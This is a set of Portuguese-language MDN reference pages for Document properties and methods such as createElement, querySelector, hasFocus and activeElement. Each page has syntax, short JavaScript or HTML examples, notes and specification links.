{"title":"Document.implementation - APIs da Web","text":"Document.implementation\n=======================\n\nSumário\n-------\n\nRetorna um objeto `DOMImplementation` (en-US) associado ao documento atual.\n\nSintaxe\n-------\n```\n\nDOMImpObj = document.implementation;\n```\n\nExemplo\n-------\n\n\n```js\nvar modName = \"HTML\";\nvar modVer = \"2.0\";\nvar conformTest = document.implementation.hasFeature(modName, modVer);\n\nalert(\"DOM \" + modName + \" \" + modVer + \" supported?: \" + conformTest);\n\n// alerts with: \"DOM HTML 2.0 supported?: true\" if DOM Level 2 HTML module is supported.\n```\n\n\nUma lista dos nomes de módulos (ex., Core, HTML, XML, etc) está disponível na DOM Level 2 Conformance Section\n\nNotas\n-----\n\nA Recomendação do W3C DOM Level 1 apenas especifica o método `hasFeature`, que é o único meio de verificar se o módulo DOM é suportado pelo navegador (veja exemplo acima e What does your user agent claim to support?). Quando disponível, outros métodos `DOMImplementation` proverão serviços para controlar coisas fora deste único documento. Por exemplo, a interface `DOMImplementation` inclui um método `createDocumentType` com o qual DTD's podem ser criados para um ou mais documentos gerenciados pela implementação.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-document-implementation① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Document.scripts - APIs da Web","text":"Document.scripts\n================\n\nRetorna uma lista dos elementos `<script>` no documento. O objeto retornado é um `HTMLCollection`.\n\nSintaxe\n-------\n```\n\nvar scriptList = document.scripts;\n```\n\n\nO `scriptList retornado é um` `HTMLCollection`. Você pode usar isso apenas como um array para obter todos os elementos da lista.\n\nExemplo\n-------\n\nEste exemplo é para ver se a página contém elementos `<script>`.\n\n\n```js\nvar scripts = document.scripts;\n\nif (scripts.length) {\n  alert(\"This page has scripts!\");\n}\n```\n\nEspecificação\n-------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-document-scripts-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Document.characterSet - APIs da Web","text":"Document.characterSet\n=====================\n\nA propriedade somente leitura Document.characterSet retorna a character encoding(codificação de caracteres) do documento com o qual ele é renderizado atualmente. (Uma codificação de caracteres é um conjunto de caracteres e como interpretar bytes nesses caracteres.)\n\n**Nota:** Um \"character set\"(conjunto de caracteres) e \"character encoding\"(codificação de caracteres) estão relacionados, mas diferentes. Apesar do nome dessa propriedade, ela retorna a codificação.\n\nUsuários podem sobrepor a codificação especificada pelo desenvolvedor dentro do cabeçalho Content-Type (tipo de conteúdo) ou embutida como <meta charset = \"utf-8\">, como no menu `Exibir → Codificacao de Texto` . Essa substituição é fornecida para corrigir codificações especificadas pelo desenvolvedor incorretas que resultam em texto ilegivel.\n\n**Nota:** As propriedades `document.charset` e `document.inputEncoding` são aliases legados para `document.characterSet`. Não use mais eles.\n\nSintaxe\n-------\n```\n\nvar string = document.characterSet;\n```\n\nExemplos\n--------\n\n\n```html\n<button onclick=\"console.log(document.characterSet);\">\n  Registro de Codificacao de Caracteres\n</button>\n<!-- mostra a codificacao de caracteres do documento no console do desevolvedor, como \"ISO-8859-1\" ou \"UTF-8\" -->\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-document-characterset① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Document.alinkColor - APIs da Web","text":"Document.alinkColor\n===================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nRetorna ou define a cor de um link ativo no corpo do documento. Um link está ativo durante o tempo entre os eventos `mousedown` e `mouseup`.\n\nSintaxe\n-------\n```\n\nvar color = document.alinkColor;\ndocument.alinkColor = color;\n```\n\n\ncolor é uma string que contém o nome da cor (e.g., `blue`, `darkblue`, etc.) ou o valor hexadecimal da cor (e.g., `#0000FF`)\n\nNotas\n-----\n\nO valor padrão para esta propriedade no Mozilla Firefox é vermelho (`#ee0000` em hexadecimal).\n\n`document.alinkColor` está obsoleto em DOM Level 2 HTML. Uma alternativa é o seletor de CSS `:active`.\n\nOutra alternativa é `document.body.aLink`, embora tenha sido depreciado no HTML 4.01 a favor da alternativa CSS.\n\nGecko suporta ambos `alinkColor`/`:active` e `:focus`. Suporte para Internet Explorer 6 e 7 `alinkColor`/`:active` apenas para HTML anchor (<a>) links e o comportamento é o mesmo que `:focus` sob Gecko. Não há suporte para `:focus` no IE.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Document.getElementsByClassName() - APIs da Web","text":"Document.getElementsByClassName()\n=================================\n\nRetorna um vetor de objetos com todos os elementos filhos que possuem o nome da classe dada. Quando invocado no objeto *document*, o documento é examinado por completo, incluindo o nó raiz. Você também pode invocar `getElementsByClassName()` em qualquer elemento; isso retornaria somente elementos que são descendentes do nó raiz especificado com o nome da classe.\n\nSintaxe\n-------\n```\n\nvar elementos = document.getElementsByClassName(nomes); // ou:\nvar elementos = rootElement.getElementsByClassName(nomes);\n```\n\n\n* *elementos* é uma lista viva do `HTMLCollection` de elementos encontrados.\n* *nomes* é um texto que representa uma lista dos nomes das classes que são separados por espaço em branco.\n* getElementsByClassName pode ser invocado por qualquer elemento, não somente pelo nó raiz *document.* O elemento no qual ele é chamado será usado como a raiz para a busca\\*.\\*\nExemplos\n--------\n\nRetorna todos os elementos que possuem a classe 'teste'\n\n\n```js\ndocument.getElementsByClassName(\"teste\");\n```\n\n\nRetorna todos os elementos que possuem as classes 'vermelho' e 'teste'\n\n\n```js\ndocument.getElementsByClassName(\"vermelho teste\");\n```\n\n\nRetorna todos os elementos que possuem a classe 'teste' dentro do elemento que possui o ID 'principal'\n\n\n```js\ndocument.getElementById(\"principal\").getElementsByClassName(\"teste\");\n```\n\n\nNós podemos também usar os métodos do Array.prototype em qualquer dos elementos `HTMLCollection` passando o *HTMLCollection* como valor deste método. Aqui podemos encontrar todos os elementos do tipo *div* que possuem a classe 'teste':\n\n\n```js\nvar elementosTeste = document.getElementsByClassName(\"teste\");\nvar divsTeste = Array.prototype.filter.call(\n  elementosTeste,\n  function (elementoTeste) {\n    return elementoTeste.nodeName === \"DIV\";\n  },\n);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-document-getelementsbyclassname① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nEspecificação\n-------------\n\n* W3C: getElementsByClassName"}
{"title":"Document.compatMode - APIs da Web","text":"Document.compatMode\n===================\n\nIndica se o documento está renderizado no Quirks mode ou no modo dos Padrões.\n\nSintaxe\n-------\n```\n\nmodo = document.compatMode\n```\n\nValores\n-------\n\n* `\"BackCompat\"` se o documento está em **quirks mode**;\n* `\"CSS1Compat\"` se o documento está no modo \"não-*quirks*\" (também conhecido como \"**full standards mode**\") ou \"*limited-quirks*\" (também conhecido como \"**almost standards mode**\").\n\n`modo`\n\nÉ um valor enumerado que pode ser:\n\n\n**Nota:** Nota: todos estes modos agora são definidos em padrões, então os antigos nomes \"standards\" e \"almost standards\" são sem sentido, e portanto não são mais usados nos padrões.\n\nExemplo\n-------\n```\n\nif (document.compatMode == \"BackCompat\") {\n  // in Quirks mode\n}\n```\n\nEspecificações\n--------------\n\n* DOM: Document.compatMode"}
{"title":"Document.elementFromPoint() - APIs da Web","text":"Document.elementFromPoint()\n===========================\n\nO método **`elementFromPoint()`** da interface `Document` retorna o elemento de maior nível nas coordenadas especificadas.\n\nSe o elemento no ponto especificado pertencer à outro documento (por exemplo, um subdocumento em um iframe), será retornado o pai do subdocumento (o próprio iframe). Se o elemento em determinado ponto for anônimo ou for um conteudo gerado por XBL, como por exemplo barras de scroll de caixas de texto, então será retornado o primeiro elemento pai, não-anônimo (por exemplo, a própria caixa de texto).\n\nSe o ponto especificado estiver fora dos limites visíveis do documento ou tiver uma coordenada negativa, o resultado é `null`.\n\nSe você precisa encontrar uma posição específica dentro do elemento, use `Document.caretPositionFromPoint()` (en-US).\n\n**Nota:** Chamados por documentos XUL devem esperar até o evento `onload` ser acionado antes de chamar este método.\n\nSintaxe\n-------\n```\n\nvar element = document.elementFromPoint(x, y);\n```\n\n### Parâmetros\n\nx\n\nUma posição horizontal dentro do viewport atual.\n\ny\n\nUma position vertical dentro do viewport atual.\n\n### Valor retornado\n\nO objeto de nível mais alto `Element` dentro das coordenadas declaradas.\n\nExemplo\n-------\n\n\n```html\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    <title>exemplo de elementFromPoint</title>\n\n    <script>\n function changeColor(newColor) {\n elem = document.elementFromPoint(2, 2);\n elem.style.color = newColor;\n }\n </script>\n  </head>\n\n  <body>\n    <p id=\"para1\">Algum texto aqui</p>\n    <button onclick=\"changeColor('blue');\">azul</button>\n    <button onclick=\"changeColor('red');\">vermelho</button>\n  </body>\n</html>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-document-elementfrompoint |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Document.referrer - APIs da Web","text":"Document.referrer\n=================\n\nRetorna o URI da página que continha o *link* para a página atual.\n\nSintaxe\n-------\n```\n\nstring = document.referrer;\n```\n\nNotas\n-----\n\nO valor retornado será uma *string* vazia se o usuário tiver chegado na página diretamente (digitando o endereço no navegador ou como um item \"Favorito\"). Como essa propriedade retorna apenas uma *string*, ela não dá acesso DOM à página que fez a referência.\n\nEspecificação\n-------------\n\n* DOM Level 2: referrer"}
{"title":"Document.URL - APIs da Web","text":"Document.URL\n============\n\nA propriedade **`URL`** (usada apenas para leitura) da Interface `Document` retorna a URL atual do navegador como um texto (string).\n\nSíntaxe\n-------\n\n\n```js\nvar url_atual = document.URL;\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-document-url① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Document.documentURI - APIs da Web","text":"Document.documentURI\n====================\n\nA propiedade **`documentURI`** da interface `Document` retorna uma string com a localização de um documento.Na definição original DOM3 **`documentURI`** é um atributo de leitura/escrita.No padrão mais recente DOM4 é somente de leitura.Sintaxe\n-------\n```\n\nvar string = document.documentURI;\n```\n\nNotas\n-----\n\nOs Documentos HTML tem uma propriedade `document.URL` que retorna o mesmo valor (localização do documento).\n\nA diferençã é que **`document.URL`** só pode ser usado em documentos HTML, enquanto **`documentURI`** está disponivel para todos os documentos web.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-document-documenturi① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Document.getElementsByName() - APIs da Web","text":"Document.getElementsByName()\n============================\n\nO método\\*\\*`getElementsByName()`\\*\\* do objeto `Document` retorna uma coleção de elementos `NodeList` com um dado `name` (en-US) no documento.\n\nSintaxe\n-------\n```\n\nvar elementos = document.getElementsByName(nome);\n```\n\n\n* *elementos* é uma coleção ativa de `NodeList`, significando que ele atualiza automaticamente com os novos elementos com o mesmo `nome` que são adicionados/removidos do documento.\n* *nome* é um valor do atributo `nome` dos elemento(s).\nExemplo\n-------\n\n\n```html\n<!doctype html>\n<html lang=\"en\">\n  <title>Exemplo: usando document.getElementsByName</title>\n\n  <input type=\"hidden\" name=\"up\" />\n  <input type=\"hidden\" name=\"down\" />\n\n  <script>\n var up\\_nomes = document.getElementsByName(\"up\");\n console.log(up\\_nomes[0].tagName); // exibindo o campo \"INPUT\"\n </script>\n</html>\n```\n\nNotas\n-----\n\nO atributo `name` (en-US) pode somente ser aplicado nos documentos (X)HTML.\n\nA coleção retornada `NodeList` contém *todos* os elementos com o respectivo `nome`, tal como `<meta>`, `<object>` (en-US), e até os elementos o qual não suporta o atributo `nome` para todos.\n\n**Aviso:** O método **getElementsByName** trabalha diferentemente em IE10 e anteriores. Além de que, `getElementsByName()` também retorna elementos que tem um atributo `id` com o valor especificado. Seja cuidadoso para não usar a mesma string como ambos `nome` e `id`.\n\n**Aviso:** O método **getElementsByName** trabalha diferentemente no IE. Portanto, `getElementsByName()` não retorna todos os elementos no qual não pode ter um atributo `nome` (tal como `<span>`).\n\n**Aviso:** Ambos IE e Edge retorna um `HTMLCollection`, e não um `NodeList`\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-document-getelementsbyname-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `document.getElementById()` para retornar uma referência para um elemento por um único `id`\n* `document.getElementsByTagName()` (en-US) para retornar referências para elementos com o mesmo nome tag\n* `document.querySelector()` para retornar referências para elementos via seletores CSS como `'div.myclass'`"}
{"title":"Document.createElementNS() - APIs da Web","text":"Document.createElementNS()\n==========================\n\nCreates an element with the specified namespace URI and qualified name.\n\nCria um elemento com Namespace URI e nome qualificado, como especificado.\n\nSyntax\n------\n```\n\nelement = document.createElementNS(namespaceURI, qualifiedName);\n```\n\n\n* `element` é o element (en-US) criado.\n* `namespaceURI` é uma string que especifica o namespace URI para associar com o elemento. A propriedade namespaceURI (en-US) do elemento criado é inicializada com os valores de `namespaceURI`. (Consulte seção abaixo para \"Namespace URI's válidos\")\n* `qualifiedName` é uma string que especifica o tipo de elemento a ser criado. A propriedade nodeName (en-US) do elemento criado é inicializada com o valor de `qualifiedName`\nNamespace URI's válidos\n-----------------------\n\n* HTML - Use `https://www.w3.org/1999/xhtml`\n* SVG - Use `https://www.w3.org/2000/svg`\n* XBL - Use `http://www.mozilla.org/xbl`\n* XUL - Use `http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul`\nExemplo\n-------\n\nIsso cria um novo elemento <div> no namespace XHTML e anexa ele ao elemento vbox. Embora isso não seja um documento XUL extremamente útil, pode demonstrar o uso de elementos de dois namespaces diferentes em apenas um documento:\n\n\n```xml\n<?xml version=\"1.0\"?>\n<page xmlns=\"http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul\"\n xmlns:html=\"https://www.w3.org/1999/xhtml\"\n title=\"||Working with elements||\"\n onload=\"init()\">\n\n<script type=\"text/javascript\"><![CDATA[\n var container;\n var newdiv;\n var txtnode;\n\n function init(){\n container = document.getElementById(\"ContainerBox\");\n newdiv = document.createElementNS(\"https://www.w3.org/1999/xhtml\",\"div\");\n txtnode = document.createTextNode(\"Este é o texto construído dinâmicamente com createElementNS e createTextNode então é inserido no documento usando appendChild.\");\n newdiv.appendChild(txtnode);\n container.appendChild(newdiv);\n }\n\n]]></script>\n\n <vbox id='ContainerBox' flex='1'>\n  <html:div>\n   O script desta página irá colocar conteúdo dinâmico abaixo:\n  </html:div>\n </vbox>\n\n</page>\n```\n\nNotas\n-----\n\nO exemplo dado anteriormente usa script inline que não é recomendado em documentos XHTML. Este exemplo particular é atualmente um documento XUL com XHTML incorporado, contudo, a recomendação ainda se aplica. scripts Inline não causam nenhum problema neste pequeno exemplo, contudo, para qualquer trabalho sério você precisa ler sobre Uso correto de CSS e JavaScript en documentos XHTML.\n\nPara criar um elemento sem especificar seu namespace URI, use o método createElement.\n\nEspecificação\n-------------\n\n* DOM 2 Core: createElementNS\n* Namespaces em XML\nVeja também\n-----------\n\n* `document.createElement()`\n* `document.createTextNode()` (en-US)\n* `Element.namespaceURI` (en-US)\n* Namespaces in XML"}
{"title":"Document.close() - APIs da Web","text":"Document.close()\n================\n\nO metodo `document.close()` termina a gravação em um documento, aberto com document.open().\n\nSintaxe\n-------\n```\n\ndocument.close();\n```\n\nExemplo\n-------\n```\n\n// abre um documento e escreve nele.\n// escreve o conteúdo no documento.\n// fecha o documento.\ndocument.open();\ndocument.write(\"<p>O primeiro e unico conteúdo.</p>\");\ndocument.close();\n```\n\nEspecificação\n-------------\n\nDOM Level 2 HTML: `close()` Method"}
{"title":"Document.head - APIs da Web","text":"Document.head\n=============\n\nRetorna o elemento `<head>` do documento atual. Se existir mais de um elemento `<head>`, apenas o primeiro será devolvido.\n\nSintaxe\n-------\n```\n\nvar objRef = document.head;\n```\n\nExemplo\n-------\n\n\n```js\n// No HTML: <head id=\"my-document-head\">\nvar aHead = document.head;\n\nalert(aHead.id); // \"my-document-head\";\n\nalert(document.head === document.querySelector(\"head\")); // true\n```\n\nNotas\n-----\n\n`document.head` suporta apenas leitura. Qualquer tentativa de atribuir um valor a essa propriedade irá falhar silenciosamente ou irá, usando o modo ECMAScript Strict (en-US) de um browser Gecko, disparar um `TypeError`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-document-head-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `document.body`"}
{"title":"Document.createElement() - APIs da Web","text":"Document.createElement()\n========================\n\nEm um documento HTML, o método **`Document.createElement()`** cria o elemento HTML especificado ou um `HTMLUnknownElement` (en-US) se o nome do elemento dado não for conhecido.\n\nEm um documento XUL, o elemento XUL especificado é criado.\n\nEm outros documentos, ele cria um elemento com um *namespace* URI `null`.\n\nSintaxe\n-------\n```\n\nvar elemento = document.createElement(nomeDaTag);\n```\n\n\n* `elemento` é o objeto `Element` criado.\n* `nomeDaTag` é uma *string* que especifica o tipo do elemento a ser criado. O `nodeName` (en-US) do elemento criado é inicializado com o valor da `nomeDaTag`. Não use nomes qualificados (como \"html:a\") com este método.\nExemplo\n-------\n\nEste código cria uma nova `<div>` e a insere antes do elemento com ID \"`div1`\".\n\n### HTML\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <title>||Trabalhando com elementos||</title>\n  </head>\n  <body>\n    <div id=\"div1\">O texto acima foi criado dinamicamente.</div>\n  </body>\n</html>\n```\n\n### JavaScript\n\n\n```js\ndocument.body.onload = adcElemento;\n\nfunction adcElemento() {\n  // cria um novo elemento div\n  // e dá à ele conteúdo\n  var divNova = document.createElement(\"div\");\n  var conteudoNovo = document.createTextNode(\"Olá, cumprimentos!\");\n  divNova.appendChild(conteudoNovo); //adiciona o nó de texto à nova div criada\n\n  // adiciona o novo elemento criado e seu conteúdo ao DOM\n  var divAtual = document.getElementById(\"div1\");\n  document.body.insertBefore(divNova, divAtual);\n}\n```\n\nNotas\n-----\n\n* Quando chamada em um objeto de documento marcado como um documento HTML, `createElement()` torna seu argumento caixa-baixa antes de criá-lo.\n* Para criar um elemento com um nome qualificado e *namespace URI*, use `document.createElementNS()`.\n* Antes do Gecko 2.0 você podia incluir os símbolos de menor que e maior que em volta da `tagName` no modo *quirks*; a partir do Gecko 2.0, a função comporta-se da mesma forma em ambos os modos *quirks* e estrito.\n* A partir do Gecko 19.0, `createElement(null)` funciona como `createElement(\"null\")`. Note que o Opera torna `null` uma *string*, mas ambos Chrome e Internet Explorer lançarão erros.\n* A partir do Gecko 22.0 `createElement()` não mais usa a interface `HTMLSpanElement` quando o argumento é \"bgsounds\", \"multicol\", or \"image\". Ao invés disso, `HTMLUnknownElement` é usado para \"bgsound\", \"multicol\" e `HTMLElement` (en-US) `HTMLElement` é usado para \"image\".\n* A implementação Gecko de `createElement` não se conforma à especificação DOM para documentos XUL e XHTML: `localName` e `namespaceURI` não estão definidos para `null` no elemento criado. Veja Firefox bug 280692 para detalhes.\nEspecificações\n--------------\n\n* DOM 2 Core: createElement\n* HTML5: APIs in HTML documents"}
{"title":"Document.designMode - APIs da Web","text":"Document.designMode\n===================\n\nSumário\n-------\n\n`document.designMode` controla se o documento todo é editável. Valores validos são `\"on\"` e `\"off\"`. De acordo com a especificação, esta propriedade é por padrão `\"off\"`. Firefox segue este padrão. Nas versões anteriores do Chrome e IE o padrão é `\"inherit\"`. No IE6-10, o valor é capitalizado.\n\nSintaxe\n-------\n\n\n```js\nvar mode = document.designMode;\ndocument.designMode = \"on\";\ndocument.designMode = \"off\";\n```\n\nExemplo\n-------\n\nCria um documento `<iframe>` editável:\n```\n\niframe_node.contentDocument.designMode = \"on\";\n```\n\nEspecificação\n-------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-document-designmode-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Rich-Text Editing in Mozilla\n* `HTMLElement.contentEditable`\n* designMode property on MSDN"}
{"title":"readystatechange - APIs da Web","text":"readystatechange\n================\n\nO evento `readystatechange` é ativado quando o atributo `readyState` de um documento é alterado.\n\nInformações gerais\n------------------\n\nEspecificação\n\nHTML5\n\nInterface\n\nEvent\n\nPropaga\n\nNão\n\nCancelável\n\nNão\n\nAlvo\n\nDocument\n\nAção Padrão\n\nNenhuma.\n\nPropriedades\n------------\n\n| Property | Type | Description |\n| --- | --- | --- |\n| `target` Somente leitura  | `EventTarget` | The event target (the topmost target in the DOM tree). |\n| `type` Somente leitura  | `DOMString` | The type of event. |\n| `bubbles` Somente leitura  | `Boolean` | Whether the event normally bubbles or not. |\n| `cancelable` Somente leitura  | `Boolean` | Whether the event is cancellable or not. |\n\nExemplo\n-------\n\n\n```js\n// alternativa ao DOMContentLoaded\ndocument.onreadystatechange = function () {\n  if (document.readyState == \"interactive\") {\n    initApplication();\n  }\n};\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\nEste evento tem sido suportado pelo Internet Explorer há várias versões, e pode ser usada como uma alternativa para o evento `DOMContentLoaded` (en-US) (veja a seção cross-browser fallback).\n\nEventos Relacionados\n--------------------\n\n* `DOMContentLoaded (en-US)`\n* `readystatechange (en-US)`\n* `load (en-US)`\n* `beforeunload (en-US)`\n* `unload (en-US)`"}
{"title":"Document.contentType - APIs da Web","text":"Document.contentType\n====================\n\n**`Document.contentType`** é uma propriedade somente de leitura, que retorna o tipo MIME do documento que esta sendo rendenrizado.Isso pode vir de cabeçalhos HTPP ou de outras fontes de informações MIME, e pode se afetado por conversões realizadas pelo navegador ou pelas extenções.\n\n**Nota:** Esta proiedade não é afetada pelos elementos `<meta>`.\n\nSintaxe\n-------\n```\n\ncontentType = document.contentType;\n```\n\n### Value\n\n`contentType` é uma propriedade somente de leitura.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-document-contenttype① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Document.hasFocus() - APIs da Web","text":"Document.hasFocus()\n===================\n\nO método **`Document.hasFocus()`** retorna um valor `Boolean` que indica se o documento ou qualquer elemento dentro do documento está com o foco ativo. Este método pode ser usado para determinar se o elemento ativo em um documento tem foco.\n\n**Nota:** Quando se está visualizando um documento, um elemento com focus é sempre o ativo no mesmo, mas um elemento ativo não necessariamente tem o foco. Por exemplo, um elemento ativo com uma janela (popup) que não é a principal não tem foco.\n\nSintaxe\n-------\n```\n\nfocused = document.hasFocus();\n```\n\n### Valor retornado\n\n`false` se o elemento ativo no documento não tem foco; `true` se o elemento ativo no documento tem foco.\n\nExemplo\n-------\n\n\n```html\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>TEST</title>\n    <style>\n #message {\n font-weight: bold;\n }\n </style>\n    <script>\n setInterval( checkPageFocus, 200 );\n\n function checkPageFocus() {\n var info = document.getElementById(\"message\");\n\n if ( document.hasFocus() ) {\n info.innerHTML = \"O documento tem o foco.\";\n } else {\n info.innerHTML = \"O documento não tem o foco.\";\n }\n }\n\n function openWindow() {\n window.open (\n \"http://developer.mozilla.org/\",\n \"mozdev\",\n \"width=640,\n height=300,\n left=150,\n top=260\"\n );\n }\n </script>\n  </head>\n  <body>\n    <h1>Exemplo do JavaScript hasFocus</h1>\n    <div id=\"message\">Esperando por ação do usuário</div>\n    <div><button onclick=\"openWindow()\">Abre uma nova janela</button></div>\n  </body>\n</html>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-document-hasfocus-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando a API de Page Visibility (en-US)"}
{"title":"Document.images - APIs da Web","text":"Document.images\n===============\n\nSummary\n-------\n\n`document.images` retorna uma coleção de imagens (en-US) do documento HTML.\n\nSintaxe\n-------\n```\n\nvar htmlCollection = document.images;\n```\n\nExemplo\n-------\n\n\n```js\nvar ilist = document.images;\n\nfor (var i = 0; i < ilist.length; i++) {\n  if (ilist[i].src == \"banner.gif\") {\n    // found the banner\n  }\n}\n```\n\nNotas\n-----\n\n`document.images.length` – propriedade, retorna o número de imagens na página.\n\n`document.images` é parte do DOM HTML, e só trabalho com documentos HTML.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-document-images-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Document.activeElement - APIs da Web","text":"Document.activeElement\n======================\n\nRetorna o `elemento` atualmente em foco, ou seja, o elemento que receberá os eventos do teclado caso o usuário digite algo. Esse atributo é somente-leitura.\n\nGeralmente retorna um `<input>` ou `<textarea>`, caso esteja com uma seleção de texto ativa. Caso esteja, pode obter mais informações sobre a seleção utilizando as propriedades `selectionStart` e `selectionEnd`. Caso o elemento em foco seja um `<select>`(menu) ou `<input>` do tipo `button`, `checkbox` ou `radio`.\n\n**Nota:** No Mac, elementos que nao sejam campos de texto geralmente não recebem foco.\n\nNormalmente o usuário pode navegar entre os elementos que pode receber foco na página com o uso da tecla `tab` e ativar estes elementos com a tecla `espaço` (apertar um botão ou selecionar uma opção).\n\nNão confunda foco com uma seleção de texto no documento, que consiste em sua maioria de nódos de texto estáticos. Veja `window.getSelection()`.\n\nQuando não há nada selecionado, o `activeElement` da página é o `<body>` ou `null`.\n\n**Nota:** Este atributo é parte da seção \"Em desenvolvimento\" da especificação do HTML 5.\n\nSintaxe\n-------\n```\n\nvar curElement = document.activeElement;\n```\n\nExemplo\n-------\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <script type=\"text/javascript\" charset=\"utf-8\">\n function init() {\n function onMouseUp(e) {\n console.log(e);\n var outputElement = document.getElementById(\"output-element\");\n var outputText = document.getElementById(\"output-text\");\n var selectedTextArea = document.activeElement;\n var selection = selectedTextArea.value.substring(\n selectedTextArea.selectionStart,\n selectedTextArea.selectionEnd,\n );\n outputElement.innerHTML = selectedTextArea.id;\n outputText.innerHTML = selection;\n }\n\n document\n .getElementById(\"ta-example-one\")\n .addEventListener(\"mouseup\", onMouseUp, false);\n document\n .getElementById(\"ta-example-two\")\n .addEventListener(\"mouseup\", onMouseUp, false);\n }\n </script>\n  </head>\n  <body onload=\"init()\">\n    <div>Select some text from one of the Textareas below:</div>\n    <form id=\"frm-example\" action=\"#\" accept-charset=\"utf-8\">\n      <textarea name=\"ta-example-one\" id=\"ta-example-one\" rows=\"8\" cols=\"40\">\nThis is Textarea Example One:\nLorem ipsum dolor sit amet, consectetur adipiscing elit. Donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.\n</textarea\n >\n      <textarea name=\"ta-example-two\" id=\"ta-example-two\" rows=\"8\" cols=\"40\">\nThis is Textarea Example Two:\nFusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. Morbi sed euismod diam.\n</textarea\n >\n    </form>\n    Active Element Id: <span id=\"output-element\"></span><br />\n    Selected Text: <span id=\"output-text\"></span>\n  </body>\n</html>\n```\n\n\nView on JSFiddle\n\nNotas\n-----\n\nOriginalmente apresentada como extensão DOM proprietária no Internet Explorer 4, esta propriedade também é suportada no Opera e Safari (versão 4 ou maior)\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-documentorshadowroot-activeelement-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nEventos relacionados\n--------------------\n\n* `focus (en-US)`\n* `blur (en-US)`\n* `focusin (en-US)`\n* `focusout (en-US)`"}
{"title":"Document.querySelector() - APIs da Web","text":"Document.querySelector()\n========================\n\nSumário\n-------\n\nRetorna o primeiro elemento dentro do documento (usando ordenação em profundidade, pré-ordenada e transversal dos nós do documento) que corresponde ao grupo especificado de seletores.\n\nSintaxe\n-------\n```\n\nelement = document.querySelector(selectors);\n```\n\n\nOnde:\n\n* `element` é um objeto `Element`.\n* `selectors` é uma string que contém um ou mais seletores CSS separados por vírgulas.\nExemplo\n-------\n\nNeste exemplo, o primeiro elemento no documento com a classe \"`myclass`\" é retornado:\n\n\n```js\nvar el = document.querySelector(\".myclass\");\n```\n\nNotas\n-----\n\nRetorna `null` se nenhum resultado for encontrado; caso contrário, retorna o primeiro elemento correspondente.\n\nSe o seletor utilizado for um `ID` e este `ID` foi erroneamente utilizado várias vezes no documento, ele retorna somente o primeiro elemento correspondente.\n\nGera uma exceção `SYNTAX_ERR` se o grupo de seletores utilizado for inválido.\n\n`querySelector()` foi introduzido com a API de seletores.\n\nCompatibilidade dos navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript 